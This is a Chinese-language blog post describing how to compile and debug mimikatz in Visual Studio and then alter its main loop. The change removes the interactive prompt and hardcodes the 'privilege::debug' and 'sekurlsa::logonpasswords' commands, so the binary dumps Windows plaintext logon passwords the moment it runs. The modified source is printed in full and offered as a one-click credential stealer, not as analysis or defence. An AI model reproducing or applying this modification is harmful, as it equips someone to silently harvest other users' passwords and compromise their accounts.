• 【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码


    0x1 概要

    记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。

    然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。

    顺带讲讲编译过程中的问题和解决方法。

    0x2 详情

    调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。

    设置让Release的程序也生成pdb文件即可。

    另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。

    0x3 修改

    原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。

    找到以下代码:

    #ifndef _WINDLL
            while (status != STATUS_FATAL_APP_EXIT)
            {
                    kprintf(L"
    " MIMIKATZ L" # "); fflush(stdin);
                    if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'
    '))
                    {
                            if(input[len - 1] == L'
    ')
                                    input[len - 1] = L'';
                            kprintf_inputline(L"%s
    ", input); //获取参数
                            status = mimikatz_dispatchCommand(input);
                    }
    
            }
    #endif
            mimikatz_end();
            return STATUS_SUCCESS;
    

    修改后的代码:

    #ifndef _WINDLL
            while (status != STATUS_FATAL_APP_EXIT)
            {
                    //kprintf(L"
    " MIMIKATZ L" # "); fflush(stdin);
                    //if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'
    '))
                    //{
                    //        if(input[len - 1] == L'
    ')
                    //                input[len - 1] = L'';
                    //        kprintf_inputline(L"%s
    ", input); //获取参数
                    //        status = mimikatz_dispatchCommand(input);
                    //}
                    //提权
                    status = mimikatz_dispatchCommand(L"privilege::debug");
                    //获取密码
                    status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords");
                    status = STATUS_FATAL_APP_EXIT;
            }
    #endif
            mimikatz_end();
            return STATUS_SUCCESS;
    

    0x4 效果

    0x5 参考

    vs:Release版本和Debug版本的区别以及转换

    http://blog.csdn.net/hust_sheng/article/details/49964217

  • 相关阅读:
    缓慢画点功能实现的两个方法
    c++编译器对新建字符型数组内部数据的初始化
    在win7下用net命令无法实现对用户的创建(未完成)
    关于sleep函数的一些问题和资料
    C++ 临时笔记
    boost::progress_timer 与 boost::progress_display
    《C++ Primer》 Part IV(ObjectOriented and Generic Programming)
    Linux下常用软件
    《C++STL基础及应用》读书笔记
    boost::asio
  • 原文地址:https://www.cnblogs.com/17bdw/p/8321622.html
Copyright © 2020-2023  润新知